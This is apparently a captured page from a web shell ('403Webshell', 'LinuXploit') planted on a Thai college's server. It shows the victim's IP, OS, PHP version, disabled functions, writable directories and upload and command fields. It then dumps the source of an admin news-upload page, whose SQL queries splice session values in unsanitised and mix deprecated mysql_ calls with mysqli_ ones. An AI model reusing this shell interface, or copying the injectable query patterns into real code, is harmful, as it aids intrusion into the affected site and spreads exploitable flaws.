403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.117.151.234
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/system_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/system_admin/show_new.php
<?php 
session_start();
if($_SESSION['r_statuslogin'] != 1){
 echo '<script language="javascript">alert("สำหรับผู้ดูแลระบบเท่านั้น")</script>';
 echo'<meta http-equiv="refresh" content="0;url=../index.php">';
 exit();
}

					$wrokID=$_SESSION['r_workId'];
					$adminid=$_SESSION['r_adID'];
					$queryperlogin = "select * from tbl_datatecher1 where tecNumber='$adminid' ";
					$resultperlogin=mysqli_query($connect1,$queryperlogin);
					$rsperteclogin=mysqli_fetch_assoc($resultperlogin);
					
					$tecPrefixThailogin=$rsperteclogin['tecPrefixThai'];//คำนำหน้าชื่อ
					$selectworklogin = $rsperteclogin['selectwork'];//กลุ่มงาน
					//คำนำหน้าชื่อ
					$sqlpflogin="select * from ref_prefix_name where PREFIX_NAME_ID=$tecPrefixThai";
					$resulpflogin=mysqli_query($connect1,$sqlpflogin);
					$rspflogin=mysql_fetch_assoc($resulpflogin);
					$tecPrefixThaiorilogin=$rspflogin['FULLNAME'];
					
					//ชื่อกลุ่มงาน
						$sqlworklogin="select * from tbl_departmentall where daNodpt='$selectworklogin' ";
						$resqlworklogin=mysqli_query($connect1,$sqlworklogin);
						$rsworklogin=mysqli_fetch_assoc($resqlworklogin);
						$worknamelogin = $rsworklogin['daFname'];
						
   						$tecnamelogin=$tecPrefixThaiorilogin."&nbsp;".$rsperteclogin['tecFnameThai']."&nbsp;&nbsp;".$tecLnamelogin=$rsperteclogin['tecLnameThai']." (".$worknamelogin.")";
?>

  <!------------------text editor------------------------->
  <script type="text/javascript" src="ckeditor/ckeditor.js"></script>
	<!--<script src="../ckeditor.js"></script>-->
	
  <!------------------แสดงรูป slideshow---------<link rel="stylesheet" href="sample.css">---------------->
	<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
	<script src="SpryAssets/SpryValidationTextField.js" type="text/javascript"></script>
<script>
		!window.jQuery && document.write('<script src="jquery-1.4.3.min.js"><\/script>');
	</script>
	<script type="text/javascript" src="./fancybox/jquery.mousewheel-3.0.4.pack.js"></script>
	<script type="text/javascript" src="./fancybox/jquery.fancybox-1.3.4.pack.js"></script>
	<link rel="stylesheet" type="text/css" href="./fancybox/jquery.fancybox-1.3.4.css" media="screen" />
 	<link rel="stylesheet" href="style.css" />
	<script type="text/javascript">
		$(document).ready(function() {
			/*
			*   Examples - images
			*/

			$("a#example1").fancybox();

			$("a#example2").fancybox({
				'overlayShow'	: false,
				'transitionIn'	: 'elastic',
				'transitionOut'	: 'elastic'
			});

			$("a#example3").fancybox({
				'transitionIn'	: 'none',
				'transitionOut'	: 'none'	
			});

			$("a#example4").fancybox({
				'opacity'		: true,
				'overlayShow'	: false,
				'transitionIn'	: 'elastic',
				'transitionOut'	: 'none'
			});

			$("a#example5").fancybox();

			$("a#example6").fancybox({
				'titlePosition'		: 'outside',
				'overlayColor'		: '#000',
				'overlayOpacity'	: 0.9
			});

			$("a#example7").fancybox({
				'titlePosition'	: 'inside'
			});

			$("a#example8").fancybox({
				'titlePosition'	: 'over'
			});

			$("a[rel=example_group]").fancybox({
				'transitionIn'		: 'none',
				'transitionOut'		: 'none',
				'titlePosition' 	: 'over',
				'titleFormat'		: function(title, currentArray, currentIndex, currentOpts) {
					return '<span id="fancybox-title-over">Image ' + (currentIndex + 1) + ' / ' + currentArray.length + (title.length ? ' &nbsp; ' + title : '') + '</span>';
				}
			});

			/*
			*   Examples - various
			*/

			$("#various1").fancybox({
				'titlePosition'		: 'inside',
				'transitionIn'		: 'none',
				'transitionOut'		: 'none'
			});

			$("#various2").fancybox();

			$("#various3").fancybox({
				'width'				: '75%',
				'height'			: '75%',
				'autoScale'			: false,
				'transitionIn'		: 'none',
				'transitionOut'		: 'none',
				'type'				: 'iframe'
			});

			$("#various4").fancybox({
				'padding'			: 0,
				'autoScale'			: false,
				'transitionIn'		: 'none',
				'transitionOut'		: 'none'
			});
		});
	</script>
    
    <!------------------------------------------->

<!------------นำเมาส์ชี้ที่่รูปแล้วเกิดภาพซ้อน------------------->
<style type="text/css"> 
 
/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */
 
.thumbnail{
position: relative;
z-index: 0;
}
 
.thumbnail:hover{

background-color: transparent; 
z-index: 50;
}
 
.thumbnail span{ /*CSS for enlarged image*/
position: absolute;
background-color: lightyellow;/* สีขอบรูปใหญ่ */
padding: 5px; /*ขนาดเส้นกรอบ */
left: -1000px;
border: 1.5px dashed gray; /*ขนาดและสีเส้นปะ*/
visibility: hidden;
color: black;
text-decoration: none ;
}

 
.thumbnail span img{ /*CSS for enlarged image*/
border-width: 0;
padding: 2px;
}
 
.thumbnail:hover span{ /*CSS for enlarged image on hover*/
visibility: visible;
top: 10;
left: 0px; /*รูปเยื้องทางซ้าย*/
 
}
.style24 {color: #FFFFFF}
</style>

<!---------------------------->
<link href="SpryAssets/SpryValidationTextField.css" rel="stylesheet" type="text/css" />
</head>

<body>
<p>
<form action="?i=insert_new" method="post" enctype="multipart/form-data"/>
  <table width="700" border="0" align="center" cellpadding="5" cellspacing="5">
    <tr>
      <td colspan="2" align="center" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td colspan="2" align="center" valign="top"><h1>.:: ฟอร์มอัพโหลดข่าวฯ ::.</h1></td>
    </tr>
    <tr>
      <td align="right" valign="top">หัวข้อข่าวนำ :</td>
      <td align="left" valign="top"><span id="sprytextfield1">
        <input name="title" type="text" id="title" size="60" maxlength="200" />
      <span class="textfieldRequiredMsg">กรุณาใส่หัวข้อข่าว....</span></span></td>
    </tr>
    <tr>
      <td align="right" valign="top">&nbsp;</td>
      <td align="left" valign="top">&nbsp;</td>
    </tr>
    <tr>
      <td width="107" align="right" valign="top">แนบไฟล์รูป :</td>
      <td width="558" align="left" valign="top"><input name="upfile[]" type="file" size="15" multiple />
        <!--ส่งค่าเป็นแบบ array ใส่ multiple="multiple" เพื่อจะสามารถเลือกรูปได้ที่ละหลายรูป--> <font color="#FF0000">*ขนาด 800x600 px.</font></td>
    </tr>
    <tr>
      <td colspan="2" align="center" valign="top"><label for="detail">
				<B>.:: รายละเอียดข่าว ::.</B>
			</label>
      <textarea class="ckeditor" cols="80" id="detail" name="detail" rows="10"></textarea></td>
    </tr>
    <tr>
      <td align="right" valign="top">เขียนโดย :</td>
      <td align="left" valign="top"><?php echo $tecnamelogin;?></td>
    </tr>
    <tr>
      <td colspan="2" align="center" valign="top"><input type="submit"  value="บันทึก" />
      &nbsp; <input type="reset" name="Reset" id="button" value="ยกเลิก" /></td>
    </tr>
</table>
  &nbsp; 
</form>
<br />
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
  
    <td>
      <table width="1000" border="0" cellspacing="0" cellpadding="0">
        <tr>
         <?php

function check_pic($id){

if ($handle = opendir('pic_new/')) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry != "." && $entry != "..") {
            //strpos();
			$entry_array = explode("_",$entry);
			if($id == $entry_array[0]){
				return $entry;
			}
        }
    }
	closedir($handle);
	
				return false;
	
    }
}
/*
		include("connect/connect.php");
		include("connect/function.php");
		*/
			if($wrokID == 1 || $wrokID == 5){
					$sql="select * from tbl_new order by n_ID desc ";
					}else{
					$sql="select * from tbl_new where dp_ID ='$adminid' order by n_ID desc ";
					}
		$result=mysqli_query($connect1,$sql);
		$num_rows=mysqli_num_rows($result);
		$count_column = 0; // นับจำนวนคอลัมน์
		$count_rows = 0; // นับจำนวนแถว
					
		while ($rs=mysqli_fetch_assoc($result) and $count_rows<3){ 
		
		$nid=$rs['n_ID'];
		$pic = check_pic($nid);
		
		
		
		//}//endwhile
  

	 //echo '<img src="img/'.$pic.' " width="200px" height="150px">';


?>
          <td align="center" valign="top"><table width="200" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
             
              <td width="150" align="center" valign="top"><!-----------------------------------------------เริ่มแสดงความเห็นใต้ภาพ---------------------------------------------->
                <a class="thumbnail" href="index.php?i=shownew_all&&nID=<?php echo $rs['n_ID'];?>" title=""><?php if($pic != ""){?><span><img alt="" src="./pic_new/<?php echo $pic;?>" width="400" /></span><img src="./pic_new/<?php echo $pic;?>" alt="" width="150" height="120" style="border:1px solid #CCCCCC; padding:4px"/><?php }else{  ?><span><img alt="" src="./pic_new/logo.jpg" width="400" /></span><img alt="" src="./pic_new/logo.jpg" width="150" style="border:1px solid #CCCCCC; padding:4px"/><?php } ?></a></td>
            </tr>
            <tr>
              <td align="center" valign="top"><a href="index.php?i=shownew_all&&nID=<?php echo $rs['n_ID'];?>"><?php echo $rs['n_Title'];?></a> <br />
                [<a href="index.php?i=update_newform&amp;&amp;nID=<?php echo $rs['n_ID'];?>">เพิ่มรูปใหม่</a>] [<a href="index.php?i=delete_new&amp;&amp;nID=<?php echo $rs['n_ID'];?>">ลบข่าว</a>]</td>
             
            </tr>
          </table></td>
           <?php 
	//เพิ่มจำนวนคอล้มน์และตรวจสอบว่า แสดงข่าวครบ 3 คอลัมน์หรือยัง
						// ถ้าครบแล้ว ให้เพิ่มหมายเลขบรรทัด พร้อมทั้งกำหนดตำแหน่งคอลัมน์ให้เริ่มที่ 0 เพื่อจะได้นับคอลัมน์ของแถวถัดไป
						$count_column ++;
						if($count_column==4){
							$count_rows ++;
							$count_column = 0;
							echo "<tr></tr>";
						}
	}//end while
 ?>
        </tr>
    </table></td>
    
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td align="center" valign="top">.::&nbsp;จำนวนข่าวฯ ทั้งหมด&nbsp;<?php echo $num_rows;?> &nbsp;ข่าว ::.</td>
  </tr>
  <tr>
    <td align="center" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td align="center" valign="top"><table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr  bgcolor="#D5B079"  align="center">
        <td width="84" height="25" bgcolor="#000000" class="style9 style24">ลำดับที่</td>
        <td colspan="2" bgcolor="#000000" class="style9 style24">วันที่</td>
        <td width="678" bgcolor="#000000" class="style9 style24">หัวข้อกิจกรรม</td>
      </tr>
      <?php
		
					if($wrokID == 1 || $wrokID == 5){
					$sql1="select * from tbl_new order by n_ID desc ";
					}else{
					$sql1="select * from tbl_new where dp_ID ='$adminid' order by n_ID desc ";
					}
					$result1=mysqli_query($connect1,$sql1);
					$num_rows1=mysqli_num_rows($result1);
			
					while($rs1=mysqli_fetch_assoc($result1)){
						$news_id=$rs1['n_ID'];
						$date1= displaydate($rs1['n_Date']); //แปลงวันเดือนปีเป็นแบบไทย ใน function.php
						$dp_ID=$rs1['dp_ID'];
						
					$queryper = "select * from tbl_datatecher1 where tecNumber='$dp_ID' ";
					//echo $queryper;
					$resultper=mysqli_query($connect1,$queryper);
					$rspertec=mysqli_fetch_assoc($resultper);
					
					$tecPrefixThai=$rspertec['tecPrefixThai'];//คำนำหน้าชื่อ
					$selectwork = $rspertec['selectwork'];//กลุ่มงาน
					//คำนำหน้าชื่อ
					$sqlpf="select * from ref_prefix_name where PREFIX_NAME_ID=$tecPrefixThai";
					$resulpf=mysqli_query($connect1,$sqlpf);
					$rspf=mysqli_fetch_assoc($resulpf);
					$tecPrefixThaiori=$rspf['FULLNAME'];
					
						//ชื่อกลุ่มงาน
						$sqlwork="select * from tbl_departmentall where daNodpt='$selectwork' ";
						$resqlwork=mysqli_query($connect1,$sqlwork);
						$rswork=mysqli_fetch_assoc($resqlwork);
						$workname = $rswork['daFname'];
						
   						$workname=$tecPrefixThaiori."&nbsp;".$rspertec['tecFnameThai']."&nbsp;&nbsp;".$tecLname=$rspertec['tecLnameThai']." (".$workname.")";
					
						//------------------การสลับสีของแถว--------------------------------------
					if($bg == "#F5F5F5") { //ส่วนของการ สลับสี 
						$bg = "#FDFDFD";
					} else {
						$bg = "#F5F5F5";
					}
					
?>
      <tr bgcolor="<?php echo $bg?>">
        <td width="84" align="center" height="25"><?php echo $num_rows ?></td>
        <td width="174" align="left"><?php echo $date1 ?></td>
        <td width="64" align="left"><a href="index.php?i=delete_new&nID=<?php echo $rs1['n_ID'];?>"><img src="images/33333.jpg" width="18" height="16" border="0" /> </a><a href="index.php?i=update_newform&nID=<?php echo $rs1['n_ID'];?>"><img src="../images/iconEdit.png" width="20" height="20" border="0" /></a></td>
        <td width="678" >-&nbsp;&nbsp;&nbsp;<a href="index.php?i=shownew_all&&nID=<?php echo $rs1['n_ID'];?>"><?php echo $rs1['n_Title'];?></a><font color="#0099FF" size="-2"><i>โดย : <?php echo $workname;?></i></font></td>
      </tr>
      <?php	
		$num_rows--;		
		} // end while แสดงข่าวทั้งหมดในตาราง
?>
    </table></td>
  </tr>
</table>
<script type="text/javascript">
var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1");
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit